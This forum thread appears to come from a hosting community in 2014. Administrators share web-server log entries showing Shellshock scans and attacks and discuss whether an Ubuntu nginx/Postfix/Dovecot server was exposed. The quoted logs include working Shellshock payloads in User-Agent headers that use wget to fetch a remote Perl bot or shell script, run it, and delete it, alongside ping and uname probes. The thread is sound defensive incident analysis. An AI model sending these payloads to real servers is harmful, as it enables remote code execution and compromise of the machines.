Looking at your logs, did anyone try to Bash Shell Shock you so far?

If so, can you please share with us what appeared in your logs?

I'm trying to determine if I was Shell Shocked (especially before I patched my Ubuntu!)

I have no idea where to look and what to look for.

These are the only services I have open to the outside world: nginx, Postfix, and Dovecot.

Personally, I started receiving vulnerability scans almost immediately; real attempted exploits started yesterday or today.

The access.log entry from a try against a web server might look like this:

209.126.230.72 - - [25/Sep/2014:00:09:18 +0000] "GET / HTTP/1.0" 200 612 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)"

That was just a white hat scanning the Internet. A real exploit would have a rather more malicious payload than "ping".

On the other hand, an attacker could use HTTP headers that don't typically get logged rather than Referer like that one did -- and, of course, if they did successfully break in, editing your log files might be the first thing they'd do.

_________________
Matt Nordhoff (aka Peng on IRC)

This is the best one I've seen

188.138.33.11 - - [27/Sep/2014:11:22:36 -0400] "GET /cgi-sys/php5? HTTP/1.1" 404 287 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\");'"

_________________
Rgds
Stephen
(Linux user since kernel version 0.11)

Thanks for the replies so far.

I searched my /var/log/nginx/access.log, /var/log/nginx/access.log.1, /var/log/nginx/access.log.2, etc. files for the string "()

For September 22 and 23 (my time zone, GMT+2) I found nothing.

September 24:

209.126.230.72 - - [24/Sep/2014:23:30:40 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [24/Sep/2014:23:59:35 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 216.75.60.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

September 25:

209.126.230.72 - - [25/Sep/2014:02:33:12 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:05:40:22 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:06:16:17 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

209.126.230.72 - - [25/Sep/2014:08:01:43 +0200] "GET / HTTP/1.0" 301 184 "() { :; }; ping -c 11 209.126.230.74" "shellshock-scan (http://blog.erratasec.com/2014/09/bash-shellshock-scan-of-internet.html)" "-"

89.207.135.125 - - [25/Sep/2014:09:13:02 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:10:26:35 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:12:36:55 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

89.207.135.125 - - [25/Sep/2014:15:09:22 +0200] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 301 184 "-" "() { :;}; /bin/ping -c 1 198.101.206.138" "-"

September 26:

54.251.83.67 - - [26/Sep/2014:09:43:05 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" "-"

54.251.83.67 - - [26/Sep/2014:19:13:50 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c \x22echo testing9123123\x22; /bin/uname -a" "-"

September 27:

114.91.105.103 - - [27/Sep/2014:15:36:39 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 [redacted by dee4]'" "-"

188.138.33.11 - - [27/Sep/2014:17:13:19 +0200] "GET /cgi-sys/php5? HTTP/1.1" 301 184 "-" "() { :;};/usr/bin/perl -e 'print \x22Content-Type: text/plain\x5Cr\x5Cn\x5Cr\x5CnXSUCCESS!\x22;system(\x22wget http://94.102.63.238/shell.pl -O /tmp/bot.pl;perl /tmp/bot.pl;rm -rf /tmp/bot.pl\x22);'" "-"

114.91.100.234 - - [27/Sep/2014:17:16:50 +0200] "GET / HTTP/1.1" 301 184 "-" "() { :;}; /bin/bash -c 'wget http://sts01.com/.../reg.sh -O /tmp/reg.sh && /bin/bash /tmp/reg.sh http://197.242.148.29:8088 [redacted by dee4]'" "-"

September 28: None so far, almost 4 hours in now.

I patched the Bash using Ubuntu's update late on September 25, long after all those lines shown above for September 25.

Given this, do you think I'm safe?

Also:

• Should I search for something other than the string "() in the nginx log files?
• Does the fact that I run nginx instead of Apache, and don't have PHP installed, make me any safer?
• Can the exploit be done via Postfix or Dovecot?

Nginx web, and a Postfix/Dovecot setup is all I have on my node.

I had that one too. I decied to pull down the shell.pl just to see what it was trying to do and got a 404 on it.

1. The () would be constant, although not necessarily preceded by a double quote. The attack value could be anywhere that the web server might stuff it into an environment variable. (Unfortunately I'm not aware of a comprehensive list; here's a partial one for Apache. I would assume that Apache limits some of these, e.g. REQUEST_METHOD, to valid values only.) As others noted, there are possible vectors that probably don't appear in your access logs (e.g., in the "Host:" header of the HTTP request).

2. Possibly. Presumably (I'm not familiar with it) Nginx does some things differently than Apache. When it comes to CGI there's a standard, so there's commonality between how web servers behave (if you're using CGI).

3. Any outside-facing server could potentially be vulnerable. I see some discussion on the Dovecot mailing list about this, but nothing for Postfix. My understanding of Postfix is it uses environment variables for very little, communicating with outside processes via sockets mostly.

The good news for you is that by default, Ubuntu uses dash, not bash, as /bin/sh. You can use ls -l /bin/sh to double-check. This means that only a network application that explicitly calls bash would be vulnerable. (For example, MediaWiki runs ImageMagick as an external process using proc_open(). This uses /bin/sh, so by default on Ubuntu/Debian would use dash, but on CentOS it would be using bash.)

Thanks.
So it seems there is no way of really knowing whether the machine is compromised. They could have attacked it already, installed a key logger (thus compromising the sudo password), and modified the logs.

Given this, I'm thinking about creating a brand new Linode with a new sudo password and migrate everything over to the new one.

Questions:

• If you haven't done this, why not? Are you just trusting that you're fine even if you don't have any evidence to support it?
• Can a brand-new Ubuntu linode possibly be attacked (shell shocked or anything else)? I don't want it to get attacked BEFORE I run "apt-get upgrade"! It should be safe since Ubuntu doesn't have any network services enabled by default, right? So even if the firewall is completely open by default, there aren't any services to handle incoming requests, right?

postifx sanitises variables before passing them onto sub processes. qmail is potentially vulnerable. exim4 _may_ be (I'm not sure).

_________________
Rgds

Stephen

(Linux user since kernel version 0.11)

Depends on the user process that's compromised. Breakins via http are typically run as the apache or httpd user and these don't have rights to install key loggers (unless you also have a local exploit to increase privs).

_________________
Rgds

Stephen

(Linux user since kernel version 0.11)

I have a few similar entries in my log file. So I assume if the result of the query was 200 then the scan was a success and the command was executed?

It just means the web request (in this case retrieving the root URL (/)) was successful. It says nothing about whether the processing to handle that request at some point invoked a bash shell and if so, whether it was at risk of being compromised.

For the most common vector, it would need to have been a path for which CGI was being used to process, and for which the CGI script eventually used bash. That seems fairly unlikely for a root request, but only you would know for sure.

IMO, looking for visible signs of a break-in in logs like this is not that helpful, since in very few cases would anyone who was actually trying to break in use something that would leave a record in a standard request log. You'd be better off monitoring/reviewing all of your CGI-based requests prior to patching bash, for example, but don't expect to be able to tell the difference between a normal request and an attack.

-- David

Just to correct myself, based on some information Cloudflare published today (http://blog.cloudflare.com/inside-shellshock/) on analysis of attacks they see, I may have been too generous to would-be attackers. Most (no specific percentage) of the attempts Cloudflare is seeing are apparently using User-Agent and Referer, either of which would appear in most logs. So I guess attackers aren't working that hard to hide themselves.

-- David

I'd like to bump my questions. Your thoughts are appreciated. I'll be recreating my nodes soon unless someone can convince me that I'd be wasting my time.

Unless you have set /bin/sh to be bash (not the default on Ubuntu) or you have network services exposed to the Internet that explicitly call bash, you are not vulnerable.

Personally, I help manage a CentOS instance (which does use bash as /bin/sh) and am not concerned about it. Patches were applied promptly and the only possible vector I'm aware of on that machine is MediaWiki. The Apache logs show only a handful of attack attempts, none of which would have caused MediaWiki to attempt shell access. (Note that in order to overwrite the logs, a privilege escalation attack would have to succeed in addition to the shellshock attack.)

I admire your sense of caution, but in this case it seems like overkill. But if it helps you sleep better at night, it's worth the effort.